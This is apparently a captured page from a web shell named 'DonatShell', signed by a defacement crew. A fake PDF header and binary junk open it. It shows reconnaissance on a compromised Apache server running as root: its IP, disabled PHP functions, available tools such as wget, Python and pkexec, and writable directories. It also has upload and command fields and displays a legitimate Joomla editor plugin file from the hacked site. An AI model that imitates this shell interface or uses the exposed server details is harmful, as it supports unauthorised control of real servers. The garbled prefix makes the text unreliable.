%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/plugins/editors/jckeditor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/plugins/editors/jckeditor/jckeditor.php
<?php
/*------------------------------------------------------------------------
# Copyright (C) 2005-2012 WebxSolution Ltd. All Rights Reserved.
# @license - GPLv2.0
# Author: WebxSolution Ltd
# Websites:  http://www.webxsolution.com
# Terms of Use: An extension that is derived from the JoomlaCK editor will only be allowed under the following conditions: http://joomlackeditor.com/terms-of-use
# ------------------------------------------------------------------------*/ 

// Do not allow direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.event.plugin');

include('jckeditor/includes/loader.php');

jckimport('ckeditor.htmlwriter.javascript.helper');	


/**
 * fckeditor Lite for Joomla! WYSIWYG Editor Plugin
 *
 * @author WebxSolution Ltd <andrew@webxsolution.com>
 * @package Editors
 * @since 1.5
 */
class plgEditorJCkeditor extends JPlugin {

	/**
	 * Constructor
	 *
	 * For php4 compatability we must not use the __constructor as a constructor for plugins
	 * because func_get_args ( void ) returns a copy of all passed arguments NOT references.
	 * This causes problems with cross-referencing necessary for the observer design pattern.
	 *
	 * @param 	object $subject The object to observe
	 * @param 	array  $config  An array that holds the plugin configuration
	 * @since 1.5
	 */
	 
	 
	 
	function plgEditorCkeditor(& $subject, $config) 
	{
		parent::__construct($subject, $config);
	}

	/**
	 * Method to handle the onInitEditor event.
	 *  - Initializes the fckeditor Lite WYSIWYG Editor
	 *
	 * @access public
	 * @return string JavaScript Initialization string
	 * @since 1.5
	 */
	function onInit()
	{
		jckimport('ckeditor.stylesheet.helper');
		JCKStylesheetHelper::addCKEDITORHeaderStyles();
		jckimport('ckeditor.htmlwriter.javascript');
		$javascript = new JCKJavascript(array(),array(JURI::root().'plugins/editors/jckeditor/ckeditor.js'));
		$minify  = $this->params->get( 'minify',1);
		$javascript->setMinify($minify);  
		$javascript->addScriptDeclaration(JCKJavascriptHelper::addDomReadyEventHandler());
	    	return $javascript->toString();
	}

	/**
	 * ckditor Lite WYSIWYG Editor - get the editor content
	 *
	 * @param string 	The name of the editor
	 */
	function onGetContent( $editor ) {
		return JCKJavascriptHelper::getContent($editor);
	}

	/**
	 * ckeditor Lite WYSIWYG Editor - set the editor content
	 *
	 * @param string 	The name of the editor
	 */
	function onSetContent( $editor, $html ) {
			return JCKJavascriptHelper::setContent($editor, $html );
	}

	/**
	 * ckeditor Lite WYSIWYG Editor - copy editor content to form field
	 *
	 * @param string 	The name of the editor
	 */
	function onSave( $editor ) { /* We do not need to test for anything */	}

	/**
	 * ckeditor Lite WYSIWYG Editor - display the editor
	 *
	 * @param string The name of the editor area
	 * @param string The content of the field
	 * @param string The name of the form field
	 * @param string The width of the editor area
	 * @param string The height of the editor area
	 * @param int The number of columns for the editor area
	 * @param int The number of rows for the editor area
	 * @param mixed Can be boolean or array.
	 */
	function onDisplay( $name, $content, $width, $height, $col, $row, $buttons = true , $id = null, $asset = null, $author = null)
	{

		// Load modal popup behavior
		JHTML::_('behavior.modal', 'a.modal-button');
				
		// initialise $error varable
		$errors = '';
		static $loaded;

		if (empty($id))
		{
			$id = $name;
		}
				
		if(!$width)
			$width ="100%";
		if(!$height)
			$height ="350px";
		
		$skin = $this->params->get('skin');	
		
		if($skin == 'kama' && $width =='100%')
 			$width = '99%';
			
		$arributes = array("rows"=>$row, 'cols'=>$col, "style"=>"width:$width;height:$height");	

		if( !$loaded )
		{
		  /* Generate the Output */
			$this->params->set('editorname',$id);
			
			if(!$this->params->get('hheight',''))
			{
				$this->params->set('hheight',$height);
			}
			if(!$this->params->get('wwidth',''))
			{
				$this->params->set('wwidth',$width);
			}
			$javascript = JCKJavascriptHelper::getHeadJavascript($this->params,$errors,$return_script);
				
			$javascript->addToHead();
			$loaded = JCKOutput::fixId($id);
			
			if(!$return_script)
				return;

			//Here we will use JFCKJavascript output to screen //html element as well
			jckimport('ckeditor.htmlwriter.helper');	
			return  $errors . JCKHtmlwriterHelper::EditorTextArea($id,$name,$content,$buttons,$this,$arributes,$asset, $author);

		}//end if		
			
		return JCKHtmlwriter::TextArea($id, $name, $content, $arributes ).'<script>window.addDomReadyEvent.add( function(){ 
			 
			CKEDITOR.on("instanceReady",function(evt)
			{
							
					
				if(evt.editor.name == "'.$loaded.'")
				{
								 
					var editor = CKEDITOR.replace( "'.JCKOutput::fixId($id).'", CKEDITOR.instances["'.$loaded.'"].config ); 
										
					
					var xtdbuttons = CKEDITOR.document.getById("editor-xtd-buttons");
					if(xtdbuttons)
					{                                                               
						buttonsHtml = xtdbuttons.getOuterHtml().replace(/'.$loaded.'/g,"'.JCKOutput::fixId($id).'");
						var buttonsElement = CKEDITOR.dom.element.createFromHtml(buttonsHtml); 
						editor.container.getParent().append(buttonsElement);
											
						var elements = buttonsElement.getElementsByTag("a");
													
						for(i= 0; i < elements.count();i++)
						{
							//override mootools model click event
							if(elements.getItem(i).hasClass("modal-button"))
							{
								(function()
								{
									var el = $(elements.getItem(i).$);
									el.addEvent("click", function(e) 
									{
										new Event(e).stop();
										SqueezeBox.fromElement(el,	{
																		parse: "rel"
																	});
									});
								})();
							}		
						}				
					}
				}	
				 
			})         
		});</script>';
	
	}
	
			
	function onGetInsertMethod($name)
	{
		return  JCKJavascriptHelper::addInsertEditorTextMethod($name);
	}
	


}
?>

Anon7 - 2022
AnonSec Team